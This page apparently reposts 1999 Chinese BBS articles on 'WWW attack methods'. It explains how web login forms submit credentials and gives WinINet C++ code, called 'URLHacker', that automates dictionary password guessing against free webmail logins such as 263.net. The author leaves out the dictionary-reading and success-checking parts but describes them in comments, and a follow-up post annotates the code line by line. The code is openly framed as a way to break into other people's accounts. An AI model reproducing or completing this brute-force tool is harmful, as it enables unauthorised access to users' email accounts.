分享
 
 
 

WWW攻击手法

王朝other·作者佚名  2008-05-19
窄屏简体版  字體: |||超大  

这儿的WWW攻击只限一般站点的攻击

对于采用安全连接的站点还没有试过

一个很好的实践的目标就是各种支持WWW的免费邮件

如果你想用它来进入黄色站点

那也没办法 :)

一般的站点中

如果你想浏览某些需要授权的内容

首先要经过身份验证这一步

就是让你输入用户名、密码

然后浏览器会根据HTML文件中FORM的定义

把这些信息发给服务器来验证

一般的办法是GET或POST

比如在263中

请看下面的263 HTML源代码

用户名: @263.net 口令:

如果点击"请进吧!",浏览器会向服务器发送一下请求

POST /prog/login/?user=aaa@pass=bbb

既然知道了原理

那我们就可以模拟用户点击的过程

Welcome to NANKAIBBS发信人: bbb (九万里风鹏路), 信区: SysSafe

标 题: WWW攻击法(二)

发信站: 我爱南开站 (Wed Nov 3 08:45:57 1999), 转信

微软给我们提供了一套现成的API让我们可以使用HTTP协议而不需通读RFC文档

现在

我们就可以发动进攻了

请看源程序

不想灌水

我把该程序中读字典的部分和判断攻击是否成功的部分省掉了

但都作了注释

const TCHAR szHeaders[] ="Accept: text/*\r\nUser-Agent: URLHacker\r\n";

//pServer是目标主机名

//cszPostData就是剩下的部分

//比如攻击263的免费邮箱,那么

//pServer="freemail.263.net"

//cszPostData="/prog/login?user=tom&pass=@!#$"

//当然,你要先读字典文件,读取pass的值

void Attack(LPSTR pServer,LPSTR cszPostData)

{

// Open Internet session.

HINTERNET hSession = ::InternetOpen("URLHacker",

INTERNET_OPEN_TYPE_PRECONFIG,

NULL,

INTERNET_INVALID_PORT_NUMBER,

0) ;

// Connect to dest.

HINTERNET hConnect = ::InternetConnect(hSession,

pServer,

INTERNET_INVALID_PORT_NUMBER,

"",

"",

INTERNET_SERVICE_HTTP,

0,

0) ;

// Request the file from the server.

HINTERNET hHttpFile = ::HttpOpenRequest(hConnect,

"GET",

cszPostData,

HTTP_VERSION,

NULL,

0,

INTERNET_FLAG_DONT_CACHE,

0) ;

// Add request headers

BOOL bAddHeaders = ::HttpAddRequestHeaders(hConnect,szHeaders,lstrlen(szHea

ders),HTTP_ADDREQ_FLAG_ADD);

// Send the request.

BOOL bSendRequest = ::HttpSendRequest(hHttpFile, NULL, 0, 0, 0);

// Get the length of the file.

char szBuffer[80] ;

DWORD dwLen = sizeof(szBuffer);

DWORD dwIndex;

BOOL bRet = HttpQueryInfo(hHttpFile, HTTP_QUERY_STATUS_CODE,

szBuffer, &dwLen, NULL);

DWORD dwRet;

if (bRet)

dwRet = (DWORD) atol(szBuffer);

if (dwRet == HTTP_STATUS_DENIED){

//这是另外一种验证的办法,和系统的用户名、口令结合起来

//InternetConnect中第3、4个参数就是用户名和口令

//下面怎么做不用我说了吧

}

if (HttpQueryInfo(hHttpFile, HTTP_QUERY_RAW_HEADERS_CRLF, NULL, &dwLen, 0))

bRet = TRUE;

else

{

// now that we know how long it is, ask for exactly that much

// space and really request the header from the API

LPTSTR pstr = new TCHAR[dwLen];

bRet = HttpQueryInfo(hHttpFile, HTTP_QUERY_RAW_HEADERS_CRLF, pstr, &dwLen,

&dwIndex);

delete []pstr;

}

// were we redirected?

// these response status codes come from WININET.H

if (dwRet == HTTP_STATUS_MOVED ||

dwRet == HTTP_STATUS_REDIRECT ||

dwRet == HTTP_STATUS_REDIRECT_METHOD)

{

//被重定向到其它地址,需要重新连接到新的地址

}

// Convert length from ASCII string to a DWORD.

// Allocate a buffer for the file.

char* buffer = new char[dwLen+1] ;

// Read the file into the buffer.

DWORD dwBytesRead ;

BOOL bRead = ::InternetReadFile(hHttpFile,

buffer,

dwLen+1,

&dwBytesRead);

//可以在这儿根据读到的内容判断攻击是否成功

//怎么?不会!

//试一下手工猜口令,肯定给你一个出错的画面

//如果读到的内容中不包括那些错误信息,就又可能成功了

delete [] buffer;

::InternetCloseHandle(hHttpFile);

::InternetCloseHandle(hConnect) ;

::InternetCloseHandle(hSession) ;

}

Welcome to NANKAIBBS发信人: bbb (九万里风鹏路), 信区: SysSafe

标 题: WWW攻击法(三)―注解

发信站: 我爱南开站 (Wed Nov 3 08:58:58 1999), 转信

创建一个会话

HINTERNET hSession = ::InternetOpen(

"URLHacker",//Agent名,随便取

INTERNET_OPEN_TYPE_PRECONFIG,//使用定义的连接方式

NULL,

INTERNET_INVALID_PORT_NUMBER,

0) ;

连接到服务器

HINTERNET hConnect = ::InternetConnect(

hSession,

pServer,//服务器名

INTERNET_INVALID_PORT_NUMBER,

"",//用户名

"",//口令

INTERNET_SERVICE_HTTP,//HTTP

0,

0);

向服务器发出请求

HINTERNET hHttpFile = ::HttpOpenRequest(hConnect,

"GET",//可用GET或POST

cszPostData,//对应于HTTP命令 GET cdzPostData

HTTP_VERSION,

NULL,

0,

INTERNET_FLAG_DONT_CACHE,

0);

加一个请求头,自我炫耀一下,hehe

BOOL bAddHeaders = ::HttpAddRequestHeaders(hConnect,szHeaders,lstrlen(szHead

ers),HTTP_ADDREQ_FLAG_ADD);

接下来,查询该请求返回的信息,然后读之

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有